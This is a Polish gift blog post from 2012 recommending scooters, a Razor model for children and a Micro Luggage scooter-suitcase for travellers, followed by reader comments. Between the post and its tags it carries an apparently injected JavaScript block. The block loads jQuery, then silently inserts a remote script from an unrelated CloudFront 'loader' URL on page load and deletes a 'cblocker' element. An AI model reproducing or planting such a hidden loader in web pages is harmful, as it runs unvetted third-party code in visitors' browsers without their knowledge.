Prezentuję pojazd dla małych i dużych

12 kwietnia 2012
H jak …

Czy Wy też czujecie już wiosnę? Od kilku dni zamiast puchowej kurtki noszę wiosenny płaszczyk, a dziś wieczorem choć padał deszcz poczułam, że naprawdę nadchodzi wiosna, bo to był wreszcie ciepły deszcz a nie zimna plucha. Strasznie się cieszę, bo jako znany zmarźluch należę do grona osób, które uważają, że urodziły się pod niewłaściwą szerokością geograficzną. Z okazji tej wiosny, która kalendarzowo już trwa, a atmosferycznie nadchodzi, dziś w cyklu prezentowe abecadło chciałabym zaprezentować Wam pewien pojazd na ciepłe dni (i nie będzie to rower!).

Muszę przyznać, że literka H należy do jednych z trudniejszych w polskim alfabecie (wiedzą o tym doskonale wielbiciele scrabble), więc nie cierpiałam na problem nadmiaru pomysłów na dzisiejszy wpis. Ale pewne wydarzenie z moich świątecznych wojaży dodało do zaplanowanego już wpisu niespodziewany zwrot akcji.

Od początku bowiem prezentem na literę H miała być hulajnoga czyli bardzo obecnie modny pojazd. Z tym że kiedy planowałam ten wpis sądziłam, że będzie to raczej pomysł na podarunek dla naszych milusińskich. I faktycznie przy okazji świątecznych spacerów widziałam niejedno dziecko śmigające na hulajnodze, ale tuż przed wyjazdem na Święta zobaczyłam też hulajnogę w werji dla dorosłych i to w dodatku podróżników, którą przedstawiam na drugim z poniższych zdjęć.

Hulajnoga Razor model A125 – cena: 115 zł (www.hulajnogi.istore.pl)

Hulajnoga Micro Luggage – cena: 1199 zł (www.hulajnogi.istore.pl)

Czyż nie jest to boskie połączenie? Każdy kto musiał kiedyś przemierzać długie lotniskowe korytarze jest sobie w stanie wyobrazić jak bardzo taki gadżet może ułatwić życie, a przede wszystkim ile czasu i energii można dzięki niemu zaoszczędzić. Niestety jak to mówią czas to pieniądz, więc żeby go zaoszczędzić trzeba sporo wydać, ale jeśli macie w swoim gronie podróżników, którzy zawsze i wszędzie są na ostatnią chwilę to sugeruję wielką zrzutkę na ten pojazd wraz z bagażem, dzięki któremu może zdążą na ten final call.

P.S. Zdjęcia pochodzą ze strony www.hulajnogi.istore.pl

if(typeof(jQuery)==’undefined’){(function(){var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.src=’https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState==”loaded”||ccm.readyState==”complete”){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();}
function ccm_e_init(jc){if(jc){jQuery.noConflict();}
jQuery(function(){var http=location.href.indexOf(‘https://’)>-1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};

Tagi:

Kategoria: , , , , , , , ,

Blog jest po przeprowadzce,

więc jeśli zauważysz jakieś błędy, których nie wychwyciłam, napisz proszę do mnie :)

kontakt@prezentujeprezenty.pl

Poprzedni

Prezentuję smak lata nad polskim morzem

Następny

Prezentuję całą rodzinę gadżetów

  • Ja zdziwiłam się, gdy pojechałam na zakupy do wielkich hangarów, gdzie sprzedają hurtwowo głownie chińczycy. Oni tam wszystko woża na tych hulajnogach! Przybijają sobie deseczkę z przodu i wielkie towary wożą! Mój syn niezmiennie od 2 roku życia lubi jeżdzić na hulajnodze :)

  • Anonimowy

    Super ta walizkowa hulajnoga! Tylko czy ona spełnia kryteria bagażu podręcznego?:) Jesli tak to kupie w prezencie dla… siebie:)

  • Osobiście widziałam na Okęciu jak jeden pan wsiadał do samolotu z taką walizką jako bagażem podręcznym więc raczej spełnia te kryteria bez problemu!

  • Nooo… u nas hulajnoga to ostatnio hit wielki! I dla córki, i dla mamy 😀
    Dla maluchów szczerze polecam Mini Micro, a dla takich ciut większych stworów (od 5 lat) Maxi Micro. Wadą jest cena, zwłaszcza tej drugiej. Ale widzę, że jest tego warta.

    • Widziałam, że ostatnio obie z Panną Wi śmigacie na swoich pojazdach i powiem Ci, że Oleńkę też już bardzo interesują takie sprzęty tylko jeszcze jest trochę za malutka na nie.